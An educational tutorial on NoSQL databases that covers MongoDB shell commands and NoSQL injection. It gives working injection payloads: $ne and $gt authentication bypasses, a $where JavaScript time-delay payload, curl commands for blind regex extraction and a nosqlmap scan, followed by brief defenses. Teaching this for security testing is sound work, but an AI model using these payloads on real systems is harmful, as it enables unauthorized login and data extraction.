NoSQL Databases and Injection
What You Will Learn
- What NoSQL databases are and how they differ from SQL
- How to interact with MongoDB from the command line
- How NoSQL injection works and how to exploit it
- How to test for NoSQL injection vulnerabilities
What Is It?
NoSQL (“Not Only SQL”) databases store data in formats other than traditional relational tables. Common types include:
- Document stores: MongoDB, CouchDB (stores JSON-like documents)
- Key-value stores: Redis, DynamoDB
- Wide-column stores: Cassandra
- Graph databases: Neo4j
NoSQL databases have their own query languages and injection vectors. They are commonly used in modern web applications, making NoSQL injection an important attack class.
MongoDB Basics
MongoDB stores data as BSON (Binary JSON) documents organized in collections.
# Connect to MongoDB
mongosh "mongodb://IP:27017"
# Authenticated connection
mongosh "mongodb://user:password@IP:27017/database"
# List all databases
show databases
# Select a database
use 'database-name'
# List collections (tables)
show collections
# Collection stats
db.'collection'.stats()
# Find one document
db.'collection'.findOne()
# Find all documents (pretty print)
db.'collection'.find().pretty()
# Find all documents
db.'collection'.find()
# Find with filter
db.'collection'.find({username: "admin"})
# Insert a document
db.'collection'.insertOne({name: "test", value: 123})
# Update
db.'collection'.updateOne({name: "test"}, {$set: {value: 456}})
# Delete
db.'collection'.deleteOne({name: "test"})
NoSQL Injection
NoSQL injection occurs when user input is used in a query without proper sanitization. In MongoDB, queries use JSON/BSON operators. Injecting these operators can bypass authentication or extract data.
Basic Authentication Bypass
Vulnerable PHP code:
$query = array("username" => $_POST['username'], "password" => $_POST['password']);
$result = $db->users->findOne($query);
Normal request:
POST /login
username=admin&password=secret
NoSQL injection — use the $ne (not equal) operator:
POST /login
username=admin&password[$ne]=wrongpassword
The query becomes:
{"username": "admin", "password": {"$ne": "wrongpassword"}}
This returns the admin user because their password is NOT “wrongpassword” — authentication is bypassed.
Common MongoDB Operators Used in Injection
{"$ne": "value"} // not equal — bypass auth
{"$gt": ""} // greater than — matches everything non-empty
{"$regex": "^a"} // regex match — use for blind extraction
{"$where": "sleep(5000)"} // JavaScript injection — time-based blind
Blind Injection — Extract Data Character by Character
# Test if username starts with 'a'
curl -X POST "https://target.com/login" \
--data 'username[$regex]=^a&password[$ne]=x'
# Continue to find the full username
curl -X POST "https://target.com/login" \
--data 'username[$regex]=^ad&password[$ne]=x'
Automated Testing
# nosqlmap — NoSQL injection scanner
python3 nosqlmap.py --attack 1 --url "http://target.com/login" \
--postdata "username=INJECT&password=test"
Payloads for Different Frameworks
# JSON body injection
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
# URL parameter injection
?username[$ne]=null&password[$ne]=null
Defense
- Validate and sanitize all user input
- Use parameterized queries when available
- Avoid using
$wherewith user input (allows JavaScript execution) - Implement proper authentication that does not rely solely on DB queries
- Use an ORM or ODM that handles query building safely